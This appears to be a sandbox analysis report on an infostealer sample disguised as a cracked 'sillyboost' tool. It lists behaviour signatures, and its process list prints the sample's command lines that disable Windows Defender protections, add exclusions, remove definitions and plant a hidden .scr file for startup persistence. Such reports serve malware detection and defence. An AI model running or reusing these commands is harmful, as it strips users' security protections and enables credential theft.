N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\bound.exe N/A

Reads user/profile data of web browsers

spyware stealer

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Accesses cryptocurrency files/wallets, possible credential harvesting

spyware

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A
N/A ip-api.com N/A N/A

Detects Pyinstaller

pyinstaller
Description Indicator Process Target
N/A N/A N/A N/A

Enumerates physical storage devices

Detects videocard installed

Description Indicator Process Target
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A
N/A N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A
N/A N/A C:\Windows\system32\tasklist.exe N/A

Gathers system information

Description Indicator Process Target
N/A N/A C:\Windows\system32\systeminfo.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 4704 wrote to memory of 5112 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe
PID 4704 wrote to memory of 5112 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe
PID 5112 wrote to memory of 4680 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 4680 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 2860 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 4680 wrote to memory of 980 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4680 wrote to memory of 980 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5112 wrote to memory of 4400 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 4400 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 3976 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 3976 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 2260 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 2260 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 3248 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 3248 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 2860 wrote to memory of 1468 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2860 wrote to memory of 1468 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4400 wrote to memory of 4800 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4400 wrote to memory of 4800 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 2260 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 2260 wrote to memory of 1524 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\mshta.exe
PID 3976 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 3976 wrote to memory of 2772 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 5112 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 1644 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3248 wrote to memory of 1596 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 3248 wrote to memory of 1596 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 1644 wrote to memory of 4344 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 1644 wrote to memory of 4344 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Wbem\WMIC.exe
PID 2772 wrote to memory of 1112 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 2772 wrote to memory of 1112 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Users\Admin\AppData\Local\Temp\bound.exe
PID 1112 wrote to memory of 2656 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\system32\cmd.exe
PID 1112 wrote to memory of 2656 N/A C:\Users\Admin\AppData\Local\Temp\bound.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 3764 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 3764 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3764 wrote to memory of 4912 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 3764 wrote to memory of 4912 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 5112 wrote to memory of 4932 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 4932 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 4932 wrote to memory of 2896 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 4932 wrote to memory of 2896 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 4488 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 4488 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 4488 wrote to memory of 2268 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 4488 wrote to memory of 2268 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\Conhost.exe
PID 5112 wrote to memory of 4916 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 4916 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 4916 wrote to memory of 1260 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 4916 wrote to memory of 1260 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 5112 wrote to memory of 3540 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 3540 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 3540 wrote to memory of 1296 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 3540 wrote to memory of 1296 N/A C:\Windows\system32\cmd.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 5112 wrote to memory of 436 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 436 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 980 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 980 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 980 wrote to memory of 1260 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 980 wrote to memory of 1260 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 436 wrote to memory of 4480 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 436 wrote to memory of 4480 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\tasklist.exe
PID 5112 wrote to memory of 1596 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe
PID 5112 wrote to memory of 1596 N/A C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe C:\Windows\system32\cmd.exe

Views/modifies file attributes

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\attrib.exe N/A
N/A N/A C:\Windows\system32\attrib.exe N/A

Processes

C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe"

C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe

"C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\sillyboost_cracked_v1\silly.exe'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "start bound.exe"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Make sure to join discord.gg/input for more Tools', 0, 'Crack Done <3 ', 48+16);close()""

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'

C:\Windows\system32\mshta.exe

mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Make sure to join discord.gg/input for more Tools', 0, 'Crack Done <3 ', 48+16);close()"

C:\Users\Admin\AppData\Local\Temp\bound.exe

bound.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

C:\Windows\System32\Wbem\WMIC.exe

wmic csproduct get uuid

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4324,i,13879737908471496610,15335851594401413307,262144 --variations-seed-version --mojo-platform-channel-handle=3348 /prefetch:8

C:\Users\Admin\AppData\Local\Temp\bound.exe

bound.exe

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "ver"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"

C:\Windows\system32\reg.exe

REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"

C:\Windows\System32\Wbem\WMIC.exe

wmic path win32_VideoController get name

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍  ​ .scr'"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\‍  ​ .scr'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"

C:\Windows\system32\tasklist.exe

tasklist /FO LIST

